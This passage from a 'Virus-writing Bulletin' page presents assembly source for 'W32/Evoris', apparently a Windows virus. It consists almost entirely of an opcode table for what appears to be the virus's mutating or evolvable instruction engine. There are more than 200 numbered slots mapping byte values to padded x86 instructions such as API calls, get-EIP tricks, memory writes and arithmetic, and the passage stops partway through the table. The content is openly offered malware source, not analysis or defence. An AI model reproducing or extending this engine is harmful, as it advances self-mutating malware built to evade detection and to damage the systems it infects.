;)

### Virus-writing Bulletin

##### Presents!

#### W32/Evoris

-
. ● glósóli ● .
See also:

    ; 0000 0000 - 0:
    _CallAPISleep EQU 0
    ACommand0:
           stdcall [Sleep]
    ECommand0:
    times (8-ECommand0+ACommand0): nop

    ; 0000 0001 - 1:
    CCommand1 EQU 1
    ACommand1:
    	db _CallAPISleep
    ECommand1:
    times (8-ECommand1+ACommand1): nop

    ; 0000 0010 - 2:
    CCommand2 EQU 2
    ACommand2:
    	db _CallAPISleep
    ECommand2:
    times (8-ECommand2+ACommand2): nop

    ; 0000 0011 - 3:
    CCommand3 EQU 3
    ACommand3:
    	popad
    ECommand3:
    times (8-ECommand3+ACommand3): nop

    ; 0000 0100 - 4:
    CCommand4 EQU 4
    ACommand4:
    	db _CallAPISleep
    ECommand4:
    times (8-ECommand4+ACommand4): nop

    ; 0000 0101 - 5:
    CCommand5 EQU 5
    ACommand5:
    	db _CallAPISleep
    ECommand5:
    times (8-ECommand5+ACommand5): nop

    ; 0000 0110 - 6:
    CCommand6 EQU 6
    ACommand6:
    	mov eax, ebx
    ECommand6:
    times (8-ECommand6+ACommand6): nop

    ; 0000 0111 - 7:
    CCommand7 EQU 7
    ACommand7:
    	stdcall dword[ebx]
    ECommand7:
    times (8-ECommand7+ACommand7): nop

    ; 0000 1000 - 8:
    CCommand8 EQU 8
    ACommand8:
    	db _CallAPISleep
    ECommand8:
    times (8-ECommand8+ACommand8): nop

    ; 0000 1001 - 9:
    CCommand9 EQU 9
    ACommand9:
    	nop	; nopREAL
    ECommand9:
    times (8-ECommand9+ACommand9): nop

    ; 0000 1010 - 10:
    CCommand10 EQU 10
    ACommand10:
    	mov ebx, edx
    ECommand10:
    times (8-ECommand10+ACommand10): nop

    ; 0000 1011 - 11:
    CCommand11 EQU 11
    ACommand11:
    	nop
    ECommand11:
    times (8-ECommand11+ACommand11): nop

    ; 0000 1100 - 12:
    CCommand12 EQU 12
    ACommand12:
    	nop
    ECommand12:
    times (8-ECommand12+ACommand12): nop

    ; 0000 1101 - 13:
    CCommand13 EQU 13
    ACommand13:
    	nop
    ECommand13:
    times (8-ECommand13+ACommand13): nop

    ; 0000 1110 - 14:
    CCommand14 EQU 14
    ACommand14:
    	nop
    ECommand14:
    times (8-ECommand14+ACommand14): nop

    ; 0000 1111 - 15:
    CCommand15 EQU 15
    ACommand15:
    	nop
    ECommand15:
    times (8-ECommand15+ACommand15): nop

    ; 0001 0000 - 16:
    CCommand16 EQU 16
    ACommand16:
    	db _CallAPISleep
    ECommand16:
    times (8-ECommand16+ACommand16): nop

    ; 0001 0001 - 17:
    CCommand17 EQU 17
    ACommand17:
    	popad
    ECommand17:
    times (8-ECommand17+ACommand17): nop

    ; 0001 0010 - 18:
    CCommand18 EQU 18
    ACommand18:
    	popad
    ECommand18:
    times (8-ECommand18+ACommand18): nop

    ; 0001 0011 - 19:
    _popall EQU 19
    ACommand19:
    	popad
    ECommand19:
    times (8-ECommand19+ACommand19): nop

    ; 0001 0100 - 20:
    _pushall EQU 20
    ACommand20:
    	pushad
    ECommand20:
    times (8-ECommand20+ACommand20): nop

    ; 0001 0101 - 21:
    CCommand21 EQU 21
    ACommand21:
    	pushad
    ECommand21:
    times (8-ECommand21+ACommand21): nop

    ; 0001 0110 - 22:
    CCommand22 EQU 22
    ACommand22:
    	pushad
    ECommand22:
    times (8-ECommand22+ACommand22): nop

    ; 0001 0111 - 23:
    CCommand23 EQU 23
    ACommand23:
    	popad
    ECommand23:
    times (8-ECommand23+ACommand23): nop

    ; 0001 1000 - 24:
    CCommand24 EQU 24
    ACommand24:
    	nop
    ECommand24:
    times (8-ECommand24+ACommand24): nop

    ; 0001 1001 - 25:
    CCommand25 EQU 25
    ACommand25:
    	nop
    ECommand25:
    times (8-ECommand25+ACommand25): nop

    ; 0001 1010 - 26:
    CCommand26 EQU 26
    ACommand26:
    	nop
    ECommand26:
    times (8-ECommand26+ACommand26): nop

    ; 0001 1011 - 27:
    CCommand27 EQU 27
    ACommand27:
    	stdcall [LoadLibrary]
    ECommand27:
    times (8-ECommand27+ACommand27): nop

    ; 0001 1100 - 28:
    CCommand28 EQU 28
    ACommand28:
    	nop
    ECommand28:
    times (8-ECommand28+ACommand28): nop

    ; 0001 1101 - 29:
    CCommand29 EQU 29
    ACommand29:
    	mov edx, ebx
    ECommand29:
    times (8-ECommand29+ACommand29): nop

    ; 0001 1110 - 30:
    CCommand30 EQU 30
    ACommand30:
    	nop
    ECommand30:
    times (8-ECommand30+ACommand30): nop

    ; 0001 1111 - 31:
    CCommand31 EQU 31
    ACommand31:
    	 mov ebp, ebx
    ECommand31:
    times (8-ECommand31+ACommand31): nop

    ; 0010 0000 - 32:
    CCommand32 EQU 32
    ACommand32:
    	db _CallAPISleep
    ECommand32:
    times (8-ECommand32+ACommand32): nop

    ; 0010 0001 - 33:
    CCommand33 EQU 33
    ACommand33:
    	push ebx
    ECommand33:
    times (8-ECommand33+ACommand33): nop

    ; 0010 0010 - 34:
    CCommand34 EQU 34
    ACommand34:
    	db _CallAPISleep
    ECommand34:
    times (8-ECommand34+ACommand34): nop

    ; 0010 0011 - 35:
    CCommand35 EQU 35
    ACommand35:
    	stdcall dword[ebx]
    ECommand35:
    times (8-ECommand35+ACommand35): nop

    ; 0010 0100 - 36:
    CCommand36 EQU 36
    ACommand36:
    	db _CallAPISleep
    ECommand36:
    times (8-ECommand36+ACommand36): nop

    ; 0010 0101 - 37:
    CCommand37 EQU 37
    ACommand37:
    	stdcall dword[ebx]
    ECommand37:
    times (8-ECommand37+ACommand37): nop

    ; 0010 0110 - 38:
    CCommand38 EQU 38
    ACommand38:
    	stdcall dword[ebx]
    ECommand38:
    times (8-ECommand38+ACommand38): nop

    ; 0010 0111 - 39:
    _call EQU 39
    ACommand39:
    	stdcall dword[ebx]
    ECommand39:
    times (8-ECommand39+ACommand39): nop

    ; 0010 1000 - 40:
    CCommand40 EQU 40
    ACommand40:
    	nop
    ECommand40:
    times (8-ECommand40+ACommand40): nop

    ; 0010 1001 - 41:
    CCommand41 EQU 41
    ACommand41:
    	nop
    ECommand41:
    times (8-ECommand41+ACommand41): nop

    ; 0010 1010 - 42:
    CCommand42 EQU 42
    ACommand42:
    	stdcall [LoadLibrary]
    ECommand42:
    times (8-ECommand42+ACommand42): nop

    ; 0010 1011 - 43:
    CCommand43 EQU 43
    ACommand43:
    	stdcall [LoadLibrary]
    ECommand43:
    times (8-ECommand43+ACommand43): nop

    ; 0010 1100 - 44:
    CCommand44 EQU 44
    ACommand44:
    	mov edi, ebx
    ECommand44:
    times (8-ECommand44+ACommand44): nop

    ; 0010 1101 - 45:
    CCommand45 EQU 45
    ACommand45:
    	mov edx, ebx
    ECommand45:
    times (8-ECommand45+ACommand45): nop

    ; 0010 1110 - 46:
    CCommand46 EQU 46
    ACommand46:
    	mov ebx, dword[ebx]
    ECommand46:
    times (8-ECommand46+ACommand46): nop

    ; 0010 1111 - 47:
    CCommand47 EQU 47
    ACommand47:
    	mov ebp, ebx
    ECommand47:
    times (8-ECommand47+ACommand47): nop

    ; 0011 0000 - 48:
    CCommand48 EQU 48
    ACommand48:
    	nop
    ECommand48:
    times (8-ECommand48+ACommand48): nop

    ; 0011 0001 - 49:
    CCommand49 EQU 49
    ACommand49:
    	nop
    ECommand49:
    times (8-ECommand49+ACommand49): nop

    ; 0011 0010 - 50:
    CCommand50 EQU 50
    ACommand50:
    	nop
    ECommand50:
    times (8-ECommand50+ACommand50): nop

    ; 0011 0011 - 51:
    CCommand51 EQU 51
    ACommand51:
    	nop
    ECommand51:
    times (8-ECommand51+ACommand51): nop

    ; 0011 0100 - 52:
    CCommand52 EQU 52
    ACommand52:
    	pushad
    ECommand52:
    times (8-ECommand52+ACommand52): nop

    ; 0011 0101 - 53:
    CCommand53 EQU 53
    ACommand53:
    	pushad
    ECommand53:
    times (8-ECommand53+ACommand53): nop

    ; 0011 0110 - 54:
    CCommand54 EQU 54
    ACommand54:
    	pushad
    ECommand54:
    times (8-ECommand54+ACommand54): nop

    ; 0011 0111 - 55:
    CCommand55 EQU 55
    ACommand55:
    	mov byte[edi], bl
    ECommand55:
    times (8-ECommand55+ACommand55): nop

    ; 0011 1000 - 56:
    CCommand56 EQU 56
    ACommand56:
    	nop
    ECommand56:
    times (8-ECommand56+ACommand56): nop

    ; 0011 1001 - 57:
    CCommand57 EQU 57
    ACommand57:
    	stdcall [LoadLibrary]
    ECommand57:
    times (8-ECommand57+ACommand57): nop

    ; 0011 1010 - 58:
    CCommand58 EQU 58
    ACommand58:
    	stdcall [LoadLibrary]
    ECommand58:
    times (8-ECommand58+ACommand58): nop

    ; 0011 1011 - 59:
    _CallAPILoadLibrary EQU 59
    ACommand59:
    	stdcall [LoadLibrary]
    ECommand59:
    times (8-ECommand59+ACommand59): nop

    ; 0011 1100 - 60:
    CCommand60 EQU 60
    ACommand60:
    	mov edx, ebx
    ECommand60:
    times (8-ECommand60+ACommand60): nop

    ; 0011 1101 - 61:
    _nopdD EQU 61
    ACommand61:
    	mov edx, ebx
    ECommand61:
    times (8-ECommand61+ACommand61): nop

    ; 0011 1110 - 62:
    CCommand62 EQU 62
    ACommand62:
    	mov ebp, ebx
    ECommand62:
    times (8-ECommand62+ACommand62): nop

    ; 0011 1111 - 63:
    _nopdB EQU 63
    ACommand63:
    	mov ebp, ebx
    ECommand63:
    times (8-ECommand63+ACommand63): nop

    ; 0100 0000 - 64:
    CCommand64 EQU 64
    ACommand64:
    	db _CallAPISleep
    ECommand64:
    times (8-ECommand64+ACommand64): nop

    ; 0100 0001 - 65:
    CCommand65 EQU 65
    ACommand65:
    	nop
    ECommand65:
    times (8-ECommand65+ACommand65): nop

    ; 0100 0010 - 66:
    CCommand66 EQU 66
    ACommand66:
    	nop
    ECommand66:
    times (8-ECommand66+ACommand66): nop

    ; 0100 0011 - 67:
    CCommand67 EQU 67
    ACommand67:
    	nop
    ECommand67:
    times (8-ECommand67+ACommand67): nop

    ; 0100 0100 - 68:
    CCommand68 EQU 68
    ACommand68:
    	nop
    ECommand68:
    times (8-ECommand68+ACommand68): nop

    ; 0100 0101 - 69:
    CCommand69 EQU 69
    ACommand69:
    	mov ebx, ebp
    ECommand69:
    times (8-ECommand69+ACommand69): nop

    ; 0100 0110 - 70:
    _nopdA EQU 70
    ACommand70:
    	mov eax, ebx
    ECommand70:
    times (8-ECommand70+ACommand70): nop

    ; 0100 0111 - 71:
    CCommand71 EQU 71
    ACommand71:
    	mov eax, ebx
    ECommand71:
    times (8-ECommand71+ACommand71): nop

    ; 0100 1000 - 72:
    CCommand72 EQU 72
    ACommand72:
    	nop
    ECommand72:
    times (8-ECommand72+ACommand72): nop

    ; 0100 1001 - 73:
    _nopREAL EQU 73
    ACommand73:
    	nop  ; nopREAL
    ECommand73:
    times (8-ECommand73+ACommand73): nop

    ; 0100 1010 - 74:
    _nopsD EQU 74
    ACommand74:
    	mov ebx, edx
    ECommand74:
    times (8-ECommand74+ACommand74): nop

    ; 0100 1011 - 75:
    CCommand75 EQU 75
    ACommand75:
    	mov ebx, edx
    ECommand75:
    times (8-ECommand75+ACommand75): nop

    ; 0100 1100 - 76:
    _nopsB EQU 76
    ACommand76:
    	mov ebx, ebp
    ECommand76:
    times (8-ECommand76+ACommand76): nop

    ; 0100 1101 - 77:
    CCommand77 EQU 77
    ACommand77:
    	mov ebx, ebp
    ECommand77:
    times (8-ECommand77+ACommand77): nop

    ; 0100 1110 - 78:
    CCommand78 EQU 78
    ACommand78:
    	mov ebx, eax
    ECommand78:
    times (8-ECommand78+ACommand78): nop

    ; 0100 1111 - 79:
    _nopsA EQU 79
    ACommand79:
    	mov ebx, eax
    ECommand79:
    times (8-ECommand79+ACommand79): nop

    ; 0101 0000 - 80:
    CCommand80 EQU 80
    ACommand80:
    	nop
    ECommand80:
    times (8-ECommand80+ACommand80): nop

    ; 0101 0001 - 81:
    CCommand81 EQU 81
    ACommand81:
    	jz over5
    	jmp esi
    	over5:
    ECommand81:
    times (8-ECommand81+ACommand81): nop

    ; 0101 0010 - 82:
    CCommand82 EQU 82
    ACommand82:
    	pop ebx
    ECommand82:
    times (8-ECommand82+ACommand82): nop

    ; 0101 0011 - 83:
    CCommand83 EQU 83
    ACommand83:
    	pop ebx
    ECommand83:
    times (8-ECommand83+ACommand83): nop

    ; 0101 0100 - 84:
    CCommand84 EQU 84
    ACommand84:
    	pop ebx
    ECommand84:
    times (8-ECommand84+ACommand84): nop

    ; 0101 0101 - 85:
    CCommand85 EQU 85
    ACommand85:
    	pop ebx
    ECommand85:
    times (8-ECommand85+ACommand85): nop

    ; 0101 0110 - 86:
    CCommand86 EQU 86
    ACommand86:
    	mov eax, ebx
    ECommand86:
    times (8-ECommand86+ACommand86): nop

    ; 0101 0111 - 87:
    CCommand87 EQU 87
    ACommand87:
    	mov byte[edi], bl
    ECommand87:
    times (8-ECommand87+ACommand87): nop

    ; 0101 1000 - 88:
    CCommand88 EQU 88
    ACommand88:
    	mov ebx, 0x0
    ECommand88:
    times (8-ECommand88+ACommand88): nop

    ; 0101 1001 - 89:
    CCommand89 EQU 89
    ACommand89:
    	nop   ; nopREAL
    ECommand89:
    times (8-ECommand89+ACommand89): nop

    ; 0101 1010 - 90:
    CCommand90 EQU 90
    ACommand90:
    	xor ebx, ecx
    ECommand90:
    times (8-ECommand90+ACommand90): nop

    ; 0101 1011 - 91:
    CCommand91 EQU 91
    ACommand91:
    	nop    ; nopREAL
    ECommand91:
    times (8-ECommand91+ACommand91): nop

    ; 0101 1100 - 92:
    _pop EQU 92
    ACommand92:
    	pop ebx
    ECommand92:
    times (8-ECommand92+ACommand92): nop

    ; 0101 1101 - 93:
    CCommand93 EQU 93
    ACommand93:
    	pop ebx
    ECommand93:
    times (8-ECommand93+ACommand93): nop

    ; 0101 1110 - 94:
    CCommand94 EQU 94
    ACommand94:
    	pop ebx
    ECommand94:
    times (8-ECommand94+ACommand94): nop

    ; 0101 1111 - 95:
    CCommand95 EQU 95
    ACommand95:
    	sub ebx, 0x0001
    ECommand95:
    times (8-ECommand95+ACommand95): nop

    ; 0110 0000 - 96:
    CCommand96 EQU 96
    ACommand96:
    	nop
    ECommand96:
    times (8-ECommand96+ACommand96): nop

    ; 0110 0001 - 97:
    _push EQU 97
    ACommand97:
    	 push ebx
    ECommand97:
    times (8-ECommand97+ACommand97): nop

    ; 0110 0010 - 98:
    CCommand98 EQU 98
    ACommand98:
    	push ebx
    ECommand98:
    times (8-ECommand98+ACommand98): nop

    ; 0110 0011 - 99:
    CCommand99 EQU 99
    ACommand99:
    	push ebx
    ECommand99:
    times (8-ECommand99+ACommand99): nop

    ; 0110 0100 - 100:
    CCommand100 EQU 100
    ACommand100:
    	call gEIP6
    	gEIP6:
    	pop ebx
    ECommand100:
    times (8-ECommand100+ACommand100): nop

    ; 0110 0101 - 101:
    CCommand101 EQU 101
    ACommand101:
    	push ebx
    ECommand101:
    times (8-ECommand101+ACommand101): nop

    ; 0110 0110 - 102:
    CCommand102 EQU 102
    ACommand102:
    	call gEIP7
    	gEIP7:
    	pop ebx
    ECommand102:
    times (8-ECommand102+ACommand102): nop

    ; 0110 0111 - 103:
    CCommand103 EQU 103
    ACommand103:
    	mov ebx, dword[ebx]
    ECommand103:
    times (8-ECommand103+ACommand103): nop

    ; 0110 1000 - 104:
    _writeDWord EQU 104
    ACommand104:
    	mov dword[edi], ebx
    ECommand104:
    times (8-ECommand104+ACommand104): nop

    ; 0110 1001 - 105:
    CCommand105 EQU 105
    ACommand105:
    	push ebx
    ECommand105:
    times (8-ECommand105+ACommand105): nop

    ; 0110 1010 - 106:
    CCommand106 EQU 106
    ACommand106:
    	mov dword[edi], ebx
    ECommand106:
    times (8-ECommand106+ACommand106): nop

    ; 0110 1011 - 107:
    CCommand107 EQU 107
    ACommand107:
    	mov ebx, dword[ebx]
    ECommand107:
    times (8-ECommand107+ACommand107): nop

    ; 0110 1100 - 108:
    _saveWrtOff EQU 108
    ACommand108:
    	mov edi, ebx
    ECommand108:
    times (8-ECommand108+ACommand108): nop

    ; 0110 1101 - 109:
    CCommand109 EQU 109
    ACommand109:
    	mov edi, ebx
    ECommand109:
    times (8-ECommand109+ACommand109): nop

    ; 0110 1110 - 110:
    CCommand110 EQU 110
    ACommand110:
    	mov edi, ebx
    ECommand110:
    times (8-ECommand110+ACommand110): nop

    ; 0110 1111 - 111:
    _getdata EQU 111
    ACommand111:
    	 mov ebx, dword[ebx]
    ECommand111:
    times (8-ECommand111+ACommand111): nop

    ; 0111 0000 - 112:
    CCommand112 EQU 112
    ACommand112:
    	mov ebx, 0x0
    ECommand112:
    times (8-ECommand112+ACommand112): nop

    ; 0111 0001 - 113:
    CCommand113 EQU 113
    ACommand113:
    	push ebx
    ECommand113:
    times (8-ECommand113+ACommand113): nop

    ; 0111 0010 - 114:
    CCommand114 EQU 114
    ACommand114:
    	nop
    ECommand114:
    times (8-ECommand114+ACommand114): nop

    ; 0111 0011 - 115:
    _MsgC  EQU 115
    ACommand115:
    	stdcall[MessageBox]
    ECommand115:
    times (8-ECommand115+ACommand115): nop

    ; 0111 0100 - 116:
    CCommand116 EQU 116
    ACommand116:
    	db 0x74, 0x20
    ECommand116:
    times (8-ECommand116+ACommand116): nop

    ; 0111 0101 - 117:
    CCommand117 EQU 117
    ACommand117:
    	db 0x74, 0x20
    ECommand117:
    times (8-ECommand117+ACommand117): nop

    ; 0111 0110 - 118:
    CCommand118 EQU 118
    ACommand118:
    	mov byte[edi], bl
    ECommand118:
    times (8-ECommand118+ACommand118): nop

    ; 0111 0111 - 119:
    _writeByte EQU 119
    ACommand119:
    	mov byte[edi], bl
    ECommand119:
    times (8-ECommand119+ACommand119): nop

    ; 0111 1000 - 120:
    _zer0 EQU 120
    ACommand120:
    	mov ebx, 0x0
    ECommand120:
    times (8-ECommand120+ACommand120): nop

    ; 0111 1001 - 121:
    CCommand121 EQU 121
    ACommand121:
    	mov ebx, 0x0
    ECommand121:
    times (8-ECommand121+ACommand121): nop

    ; 0111 1010 - 122:
    CCommand122 EQU 122
    ACommand122:
    	mov ebx, 0x0
    ECommand122:
    times (8-ECommand122+ACommand122): nop

    ; 0111 1011 - 123:
    CCommand123 EQU 123
    ACommand123:
    	add ebx, 0x0040
    ECommand123:
    times (8-ECommand123+ACommand123): nop

    ; 0111 1100 - 124:
    CCommand124 EQU 124
    ACommand124:
    	mov ebx, 0x0
    ECommand124:
    times (8-ECommand124+ACommand124): nop

    ; 0111 1101 - 125:
    CCommand125 EQU 125
    ACommand125:
    	add ebx, 0x0010
    ECommand125:
    times (8-ECommand125+ACommand125): nop

    ; 0111 1110 - 126:
    CCommand126 EQU 126
    ACommand126:
    	add ebx, 0x0004
    ECommand126:
    times (8-ECommand126+ACommand126): nop

    ; 0111 1111 - 127:
    _sub0001 EQU 127
    ACommand127:
    	sub ebx, 0x0001
    ECommand127:
    times (8-ECommand127+ACommand127): nop

    ; 1000 0000 - 128:
    CCommand128 EQU 128
    ACommand128:
    	db _CallAPISleep
    ECommand128:
    times (8-ECommand128+ACommand128): nop

    ; 1000 0001 - 129:
    CCommand129 EQU 129
    ACommand129:
    	nop
    ECommand129:
    times (8-ECommand129+ACommand129): nop

    ; 1000 0010 - 130:
    CCommand130 EQU 130
    ACommand130:
    	mov ebx, DataOffset
    ECommand130:
    times (8-ECommand130+ACommand130): nop

    ; 1000 0011 - 131:
    CCommand131 EQU 131
    ACommand131:
    	nop
    ECommand131:
    times (8-ECommand131+ACommand131): nop

    ; 1000 0100 - 132:
    CCommand132 EQU 132
    ACommand132:
    	mul ebx
    ECommand132:
    times (8-ECommand132+ACommand132): nop

    ; 1000 0101 - 133:
    CCommand133 EQU 133
    ACommand133:
    	nop
    ECommand133:
    times (8-ECommand133+ACommand133): nop

    ; 1000 0110 - 134:
    _mul EQU 134
    ACommand134:
    	mul ebx
    ECommand134:
    times (8-ECommand134+ACommand134): nop

    ; 1000 0111 - 135:
    CCommand135 EQU 135
    ACommand135:
    	div ebx
    ECommand135:
    times (8-ECommand135+ACommand135): nop

    ; 1000 1000 - 136:
    CCommand136 EQU 136
    ACommand136:
    	nop
    ECommand136:
    times (8-ECommand136+ACommand136): nop

    ; 1000 1001 - 137:
    CCommand137 EQU 137
    ACommand137:
    	nop
    ECommand137:
    times (8-ECommand137+ACommand137): nop

    ; 1000 1010 - 138:
    CCommand138 EQU 138
    ACommand138:
    	mov ecx, ebx
    ECommand138:
    times (8-ECommand138+ACommand138): nop

    ; 1000 1011 - 139:
    CCommand139 EQU 139
    ACommand139:
    	mov esi, ebx
    ECommand139:
    times (8-ECommand139+ACommand139): nop

    ; 1000 1100 - 140:
    CCommand140 EQU 140
    ACommand140:
    	mov ecx, ebx
    ECommand140:
    times (8-ECommand140+ACommand140): nop

    ; 1000 1101 - 141:
    CCommand141 EQU 141
    ACommand141:
    	mov ecx, ebx
    ECommand141:
    times (8-ECommand141+ACommand141): nop

    ; 1000 1110 - 142:
    _save EQU 142
    ACommand142:
    	mov ecx, ebx
    ECommand142:
    times (8-ECommand142+ACommand142): nop

    ; 1000 1111 - 143:
    CCommand143 EQU 143
    ACommand143:
    	mov ecx, ebx
    ECommand143:
    times (8-ECommand143+ACommand143): nop

    ; 1001 0000 - 144:
    _subsaved EQU 144
    ACommand144:
    	sub ebx, ecx
    ECommand144:
    times (8-ECommand144+ACommand144): nop

    ; 1001 0001 - 145:
    CCommand145 EQU 145
    ACommand145:
    	nop
    ECommand145:
    times (8-ECommand145+ACommand145): nop

    ; 1001 0010 - 146:
    _addsaved EQU 146
    ACommand146:
    	add ebx, ecx
    ECommand146:
    times (8-ECommand146+ACommand146): nop

    ; 1001 0011 - 147:
    CCommand147 EQU 147
    ACommand147:
    	add ebx, ecx
    ECommand147:
    times (8-ECommand147+ACommand147): nop

    ; 1001 0100 - 148:
    CCommand148 EQU 148
    ACommand148:
    	sub ebx, ecx
    ECommand148:
    times (8-ECommand148+ACommand148): nop

    ; 1001 0101 - 149:
    CCommand149 EQU 149
    ACommand149:
    	div ebx
    ECommand149:
    times (8-ECommand149+ACommand149): nop

    ; 1001 0110 - 150:
    CCommand150 EQU 150
    ACommand150:
    	div ebx
    ECommand150:
    times (8-ECommand150+ACommand150): nop

    ; 1001 0111 - 151:
    _div EQU 151
    ACommand151:
    	div ebx
    ECommand151:
    times (8-ECommand151+ACommand151): nop

    ; 1001 1000 - 152:
    CCommand152 EQU 152
    ACommand152:
    	nop
    ECommand152:
    times (8-ECommand152+ACommand152): nop

    ; 1001 1001 - 153:
    CCommand153 EQU 153
    ACommand153:
    	nop
    ECommand153:
    times (8-ECommand153+ACommand153): nop

    ; 1001 1010 - 154:
    CCommand154 EQU 154
    ACommand154:
    	xor ebx, ecx
    ECommand154:
    times (8-ECommand154+ACommand154): nop

    ; 1001 1011 - 155:
    CCommand155 EQU 155
    ACommand155:
    	add ebx, 0x1000
    ECommand155:
    times (8-ECommand155+ACommand155): nop

    ; 1001 1100 - 156:
    CCommand156 EQU 156
    ACommand156:
    	shr ebx, cl
    ECommand156:
    times (8-ECommand156+ACommand156): nop

    ; 1001 1101 - 157:
    CCommand157 EQU 157
    ACommand157:
    	mov ecx, ebx
    ECommand157:
    times (8-ECommand157+ACommand157): nop

    ; 1001 1110 - 158:
    CCommand158 EQU 158
    ACommand158:
    	mov ecx, ebx
    ECommand158:
    times (8-ECommand158+ACommand158): nop

    ; 1001 1111 - 159:
    CCommand159 EQU 159
    ACommand159:
    	add ebx, 0x1000
    ECommand159:
    times (8-ECommand159+ACommand159): nop

    ; 1010 0000 - 160:
    CCommand160 EQU 160
    ACommand160:
    	nop
    ECommand160:
    times (8-ECommand160+ACommand160): nop

    ; 1010 0001 - 161:
    CCommand161 EQU 161
    ACommand161:
    	nop
    ECommand161:
    times (8-ECommand161+ACommand161): nop

    ; 1010 0010 - 162:
    CCommand162 EQU 162
    ACommand162:
          nop
    ECommand162:
    times (8-ECommand162+ACommand162): nop

    ; 1010 0011 - 163:
    CCommand163 EQU 163
    ACommand163:
    	nop
    ECommand163:
    times (8-ECommand163+ACommand163): nop

    ; 1010 0100 - 164:
    CCommand164 EQU 164
    ACommand164:
    	call gEIP42
    	gEIP42:
    	pop ebx
    ECommand164:
    times (8-ECommand164+ACommand164): nop

    ; 1010 0101 - 165:
    CCommand165 EQU 165
    ACommand165:
    	call gEIP43
    	gEIP43:
    	pop ebx
    ECommand165:
    times (8-ECommand165+ACommand165): nop

    ; 1010 0110 - 166:
    CCommand166 EQU 166
    ACommand166:
    	mul ebx
    ECommand166:
    times (8-ECommand166+ACommand166): nop

    ; 1010 0111 - 167:
    CCommand167 EQU 167
    ACommand167:
    	mul ebx
    ECommand167:
    times (8-ECommand167+ACommand167): nop

    ; 1010 1000 - 168:
    CCommand168 EQU 168
    ACommand168:
    	mov esi, ebx
    ECommand168:
    times (8-ECommand168+ACommand168): nop

    ; 1010 1001 - 169:
    CCommand169 EQU 169
    ACommand169:
    	mov esi, ebx
    ECommand169:
    times (8-ECommand169+ACommand169): nop

    ; 1010 1010 - 170:
    CCommand170 EQU 170
    ACommand170:
    	mov esi, ebx
    ECommand170:
    times (8-ECommand170+ACommand170): nop

    ; 1010 1011 - 171:
    _saveJmpOff EQU 171
    ACommand171:
    	mov esi, ebx
    ECommand171:
    times (8-ECommand171+ACommand171): nop

    ; 1010 1100 - 172:
    _shl EQU 172
    ACommand172:
    	shl ebx, cl
    ECommand172:
    times (8-ECommand172+ACommand172): nop

    ; 1010 1101 - 173:
    CCommand173 EQU 173
    ACommand173:
    	shl ebx, cl
    ECommand173:
    times (8-ECommand173+ACommand173): nop

    ; 1010 1110 - 174:
    CCommand174 EQU 174
    ACommand174:
    	shl ebx, cl
    ECommand174:
    times (8-ECommand174+ACommand174): nop

    ; 1010 1111 - 175:
    CCommand175 EQU 175
    ACommand175:
    	shl ebx, cl
    ECommand175:
    times (8-ECommand175+ACommand175): nop

    ; 1011 0000 - 176:
    CCommand176 EQU 176
    ACommand176:
    	nop
    ECommand176:
    times (8-ECommand176+ACommand176): nop

    ; 1011 0001 - 177:
    CCommand177 EQU 177
    ACommand177:
    	nop
    ECommand177:
    times (8-ECommand177+ACommand177): nop

    ; 1011 0010 - 178:
    CCommand178 EQU 178
    ACommand178:
    	nop
    ECommand178:
    times (8-ECommand178+ACommand178): nop

    ; 1011 0011 - 179:
    CCommand179 EQU 179
    ACommand179:
    	nop
    ECommand179:
    times (8-ECommand179+ACommand179): nop

    ; 1011 0100 - 180:
    CCommand180 EQU 180
    ACommand180:
    	db 0x74, 0x20
    ECommand180:
    times (8-ECommand180+ACommand180): nop

    ; 1011 0101 - 181:
    CCommand181 EQU 181
    ACommand181:
    	db 0x74, 0x20
    ECommand181:
    times (8-ECommand181+ACommand181): nop

    ; 1011 0110 - 182:
    CCommand182 EQU 182
    ACommand182:
    	add ebx, 0x0100
    ECommand182:
    times (8-ECommand182+ACommand182): nop

    ; 1011 0111 - 183:
    CCommand183  EQU 183
    ACommand183:
    	add ebx, 0x0100
    ECommand183:
    times (8-ECommand183+ACommand183): nop

    ; 1011 1000 - 184:
    CCommand184 EQU 184
    ACommand184:
    	shr ebx, cl
    ECommand184:
    times (8-ECommand184+ACommand184): nop

    ; 1011 1001 - 185:
    CCommand185 EQU 185
    ACommand185:
    	shr ebx, cl
    ECommand185:
    times (8-ECommand185+ACommand185): nop

    ; 1011 1010 - 186:
    CCommand186 EQU 186
    ACommand186:
    	shr ebx, cl
    ECommand186:
    times (8-ECommand186+ACommand186): nop

    ; 1011 1011 - 187:
    CCommand187 EQU 187
    ACommand187:
    	shr ebx, cl
    ECommand187:
    times (8-ECommand187+ACommand187): nop

    ; 1011 1100 - 188:
    _shr EQU 188
    ACommand188:
    	shr ebx, cl
    ECommand188:
    times (8-ECommand188+ACommand188): nop

    ; 1011 1101 - 189:
    CCommand189 EQU 189
    ACommand189:
    	shr ebx, cl
    ECommand189:
    times (8-ECommand189+ACommand189): nop

    ; 1011 1110 - 190:
    CCommand190 EQU 190
    ACommand190:
    	shr ebx, cl
    ECommand190:
    times (8-ECommand190+ACommand190): nop

    ; 1011 1111 - 191:
    _add4000 EQU 191
    ACommand191:
    	add ebx, 0x4000
    ECommand191:
    times (8-ECommand191+ACommand191): nop

    ; 1100 0000 - 192:
    CCommand192 EQU 192
    ACommand192:
    	nop
    ECommand192:
    times (8-ECommand192+ACommand192): nop

    ; 1100 0001 - 193:
    CCommand193 EQU 193
    ACommand193:
    	nop
    ECommand193:
    times (8-ECommand193+ACommand193): nop

    ; 1100 0010 - 194:
    _getDO EQU 194
    ACommand194:
    	mov ebx, DataOffset
    ECommand194:
    times (8-ECommand194+ACommand194): nop

    ; 1100 0011 - 195:
    CCommand195 EQU 195
    ACommand195:
    	mov ebx, DataOffset
    ECommand195:
    times (8-ECommand195+ACommand195): nop

    ; 1100 0100 - 196:
    CCommand196 EQU 196
    ACommand196:
    	mov ebx, DataOffset
    ECommand196:
    times (8-ECommand196+ACommand196): nop

    ; 1100 0101 - 197:
    CCommand197 EQU 197
    ACommand197:
    	mov ebx, DataOffset
    ECommand197:
    times (8-ECommand197+ACommand197): nop

    ; 1100 0110 - 198:
    CCommand198 EQU 198
    ACommand198:
    	mov ebx, DataOffset
    ECommand198:
    times (8-ECommand198+ACommand198): nop

    ; 1100 0111 - 199:
    CCommand199 EQU 199
    ACommand199:
    	mov ebx, DataOffset
    ECommand199:
    times (8-ECommand199+ACommand199): nop

    ; 1100 1000 - 200:
    CCommand200 EQU 200
    ACommand200:
    	mov ebx, DataOffset
    ECommand200:
    times (8-ECommand200+ACommand200): nop

    ; 1100 1001 - 201:
    CCommand201 EQU 201
    ACommand201:
    	and ebx, ecx
